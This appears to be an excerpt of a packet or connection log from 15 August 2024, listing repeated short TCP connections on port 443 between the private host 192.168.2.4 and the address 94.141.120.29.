Aug 15, 2024 08:10:54.826742887 CEST	50687	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.889276981 CEST	50687	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.889341116 CEST	443	50687	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.889448881 CEST	443	50687	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.905690908 CEST	50688	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.905770063 CEST	443	50688	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.905930996 CEST	50688	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.068610907 CEST	50688	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.068686962 CEST	443	50688	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.068823099 CEST	443	50688	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.289891005 CEST	50689	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.289973974 CEST	443	50689	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.290117025 CEST	50689	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.391622066 CEST	50689	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.391690016 CEST	443	50689	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.391798973 CEST	443	50689	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.405834913 CEST	50690	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.405915976 CEST	443	50690	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.406162024 CEST	50690	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.422208071 CEST	50690	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.422283888 CEST	443	50690	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.422504902 CEST	443	50690	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.431876898 CEST	50691	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.431974888 CEST	443	50691	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.432056904 CEST	50691	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.432679892 CEST	50691	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.432720900 CEST	443	50691	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.432811975 CEST	443	50691	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.456971884 CEST	50692	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.457051992 CEST	443	50692	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.457370043 CEST	50692	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.466691017 CEST	50692	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.466757059 CEST	443	50692	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.466880083 CEST	443	50692	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.473678112 CEST	50693	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.473757982 CEST	443	50693	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.473870039 CEST	50693	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.482124090 CEST	50693	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.482196093 CEST	443	50693	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.482464075 CEST	443	50693	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.489476919 CEST	50694	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.489557981 CEST	443	50694	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.489648104 CEST	50694	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.508866072 CEST	50694	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.508941889 CEST	443	50694	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.509155035 CEST	443	50694	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.557918072 CEST	50695	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.557997942 CEST	443	50695	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.558084965 CEST	50695	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.580142021 CEST	50695	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.580214024 CEST	443	50695	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.580449104 CEST	443	50695	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.585999012 CEST	50696	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.586078882 CEST	443	50696	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.586184025 CEST	50696	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.594310999 CEST	50696	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.594388962 CEST	443	50696	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.594636917 CEST	443	50696	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.599803925 CEST	50697	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.599884033 CEST	443	50697	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.599999905 CEST	50697	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.608884096 CEST	50697	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.608959913 CEST	443	50697	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.609195948 CEST	443	50697	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.615818977 CEST	50698	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.615900993 CEST	443	50698	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.616019011 CEST	50698	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.625291109 CEST	50698	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.625350952 CEST	443	50698	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.625484943 CEST	443	50698	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.631525040 CEST	50699	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.631607056 CEST	443	50699	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.635662079 CEST	50699	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.649699926 CEST	50699	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.649775982 CEST	443	50699	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.650029898 CEST	443	50699	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.657280922 CEST	50700	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.657363892 CEST	443	50700	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.657453060 CEST	50700	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.672445059 CEST	50700	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.672537088 CEST	443	50700	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.672667980 CEST	443	50700	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.680237055 CEST	50701	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.680319071 CEST	443	50701	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.680408955 CEST	50701	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.689431906 CEST	50701	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.689507961 CEST	443	50701	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.689728022 CEST	443	50701	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.715245008 CEST	50702	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.715326071 CEST	443	50702	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.715419054 CEST	50702	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.730818987 CEST	50702	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.730890036 CEST	443	50702	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.731142044 CEST	443	50702	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.738672972 CEST	50703	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.738754988 CEST	443	50703	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.738841057 CEST	50703	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.748050928 CEST	50703	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.748126030 CEST	443	50703	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.748359919 CEST	443	50703	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.754390955 CEST	50704	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.754470110 CEST	443	50704	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.754561901 CEST	50704	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.763842106 CEST	50704	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.763916016 CEST	443	50704	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.764038086 CEST	443	50704	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.769716024 CEST	50705	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.769798994 CEST	443	50705	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.769901991 CEST	50705	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.778122902 CEST	50705	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.778199911 CEST	443	50705	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.778467894 CEST	443	50705	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.785626888 CEST	50706	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.785721064 CEST	443	50706	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.785795927 CEST	50706	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.794342041 CEST	50706	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.794420004 CEST	443	50706	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.794514894 CEST	443	50706	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.799793005 CEST	50707	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.799901962 CEST	443	50707	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.803937912 CEST	50707	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.813239098 CEST	50707	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.813313961 CEST	443	50707	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.813575029 CEST	443	50707	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.820178032 CEST	50708	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.820257902 CEST	443	50708	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.820332050 CEST	50708	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.828411102 CEST	50708	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.828512907 CEST	443	50708	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.828649044 CEST	443	50708	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.836721897 CEST	50709	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.836798906 CEST	443	50709	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.836885929 CEST	50709	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.845915079 CEST	50709	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.845989943 CEST	443	50709	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.846179008 CEST	443	50709	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.852336884 CEST	50710	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.852415085 CEST	443	50710	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.852509022 CEST	50710	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.860944986 CEST	50710	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.861017942 CEST	443	50710	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.861161947 CEST	443	50710	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.868174076 CEST	50711	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.868253946 CEST	443	50711	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.868350029 CEST	50711	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.877779961 CEST	50711	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.877854109 CEST	443	50711	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.877986908 CEST	443	50711	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.883910894 CEST	50712	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.883989096 CEST	443	50712	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.884087086 CEST	50712	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.898699045 CEST	50712	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.898763895 CEST	443	50712	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.898825884 CEST	443	50712	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.909322023 CEST	50713	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.909399986 CEST	443	50713	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.909471989 CEST	50713	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.920964003 CEST	50713	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.921041012 CEST	443	50713	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.921169043 CEST	443	50713	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.927939892 CEST	50714	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.928018093 CEST	443	50714	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.932413101 CEST	50714	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.942744970 CEST	50714	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.942821026 CEST	443	50714	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.942879915 CEST	443	50714	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.947360039 CEST	50715	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.947441101 CEST	443	50715	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.953438997 CEST	50715	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.975291967 CEST	50715	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.975367069 CEST	443	50715	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.975451946 CEST	443	50715	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.981235027 CEST	50716	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:55.981312990 CEST	443	50716	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:55.981419086 CEST	50716	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.008313894 CEST	50716	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.008347988 CEST	443	50716	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.008402109 CEST	443	50716	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.021864891 CEST	50717	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.021945000 CEST	443	50717	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.022044897 CEST	50717	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.046124935 CEST	50717	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.046200037 CEST	443	50717	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.046312094 CEST	443	50717	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.053343058 CEST	50718	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.053422928 CEST	443	50718	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.057554007 CEST	50718	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.068202019 CEST	50718	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.068270922 CEST	443	50718	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.068345070 CEST	443	50718	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.073955059 CEST	50719	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.073987007 CEST	443	50719	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.074064970 CEST	50719	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.092761040 CEST	50719	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.092803001 CEST	443	50719	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.093004942 CEST	443	50719	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.101208925 CEST	50720	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.101247072 CEST	443	50720	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.101298094 CEST	50720	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.112628937 CEST	50720	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.112682104 CEST	443	50720	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.112786055 CEST	443	50720	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.119225979 CEST	50721	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.119285107 CEST	443	50721	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.119353056 CEST	50721	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.128770113 CEST	50721	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.128782988 CEST	443	50721	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.129010916 CEST	443	50721	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.155050039 CEST	50722	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.155064106 CEST	443	50722	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.155111074 CEST	50722	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.171854973 CEST	50722	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.171864986 CEST	443	50722	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.172027111 CEST	443	50722	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.180062056 CEST	50723	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.180083990 CEST	443	50723	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.180171967 CEST	50723	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.198472023 CEST	50723	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.198483944 CEST	443	50723	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.198635101 CEST	443	50723	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.206501007 CEST	50724	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.206515074 CEST	443	50724	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.206571102 CEST	50724	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.231997967 CEST	50724	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.232028961 CEST	443	50724	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.232095957 CEST	443	50724	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.238065958 CEST	50725	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.238087893 CEST	443	50725	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.238154888 CEST	50725	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.247315884 CEST	50725	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.247327089 CEST	443	50725	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.247389078 CEST	443	50725	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.253720999 CEST	50726	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.253731012 CEST	443	50726	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.253839016 CEST	50726	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.263042927 CEST	50726	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.263055086 CEST	443	50726	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.263091087 CEST	443	50726	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.269584894 CEST	50727	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.269615889 CEST	443	50727	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.269680023 CEST	50727	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.278677940 CEST	50727	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.278707027 CEST	443	50727	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.278734922 CEST	443	50727	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.285635948 CEST	50728	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.285692930 CEST	443	50728	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.285767078 CEST	50728	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.294576883 CEST	50728	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.294609070 CEST	443	50728	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.294636965 CEST	443	50728	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.299696922 CEST	50729	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.299710035 CEST	443	50729	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.299791098 CEST	50729	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.309104919 CEST	50729	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.309115887 CEST	443	50729	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.309149027 CEST	443	50729	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.313502073 CEST	50730	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.313510895 CEST	443	50730	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.313719988 CEST	50730	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.337114096 CEST	50730	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.337124109 CEST	443	50730	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.337156057 CEST	443	50730	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.345292091 CEST	50731	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.345345020 CEST	443	50731	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.345455885 CEST	50731	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.362966061 CEST	50731	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.363003969 CEST	443	50731	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.363135099 CEST	443	50731	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.369811058 CEST	50732	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.369832993 CEST	443	50732	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.369896889 CEST	50732	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.382188082 CEST	50732	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.382199049 CEST	443	50732	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.382364988 CEST	443	50732	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.392004967 CEST	50733	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.392050028 CEST	443	50733	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.392111063 CEST	50733	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.440924883 CEST	50733	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.440962076 CEST	443	50733	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.441030025 CEST	443	50733	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.452253103 CEST	50734	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.452292919 CEST	443	50734	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.452357054 CEST	50734	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.465559006 CEST	50734	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.465573072 CEST	443	50734	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.465707064 CEST	443	50734	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.474450111 CEST	50735	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.474484921 CEST	443	50735	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.474611044 CEST	50735	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.483803034 CEST	50735	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.483815908 CEST	443	50735	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.484102011 CEST	443	50735	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.491110086 CEST	50736	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.491149902 CEST	443	50736	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.491216898 CEST	50736	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.505302906 CEST	50736	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.505315065 CEST	443	50736	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.505599976 CEST	443	50736	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.511868000 CEST	50737	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.511908054 CEST	443	50737	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.511960983 CEST	50737	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.525386095 CEST	50737	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.525403023 CEST	443	50737	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.525532961 CEST	443	50737	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.530261040 CEST	50738	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.530273914 CEST	443	50738	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.530328035 CEST	50738	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.544403076 CEST	50738	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.544414997 CEST	443	50738	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.544707060 CEST	443	50738	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.550967932 CEST	50739	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.550995111 CEST	443	50739	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.551107883 CEST	50739	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.564984083 CEST	50739	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.565013885 CEST	443	50739	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.565073967 CEST	443	50739	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.571706057 CEST	50740	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.571722984 CEST	443	50740	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.571774006 CEST	50740	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.585076094 CEST	50740	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.585088015 CEST	443	50740	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.585131884 CEST	443	50740	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.595067024 CEST	50741	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.595093012 CEST	443	50741	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.595232010 CEST	50741	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.608421087 CEST	50741	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.608432055 CEST	443	50741	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.608661890 CEST	443	50741	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.612931013 CEST	50742	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.612941980 CEST	443	50742	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:56.613018036 CEST	50742	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.622060061 CEST	50742	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:56.622070074 CEST	443	50742	94.141.120.29	192.168.2.4
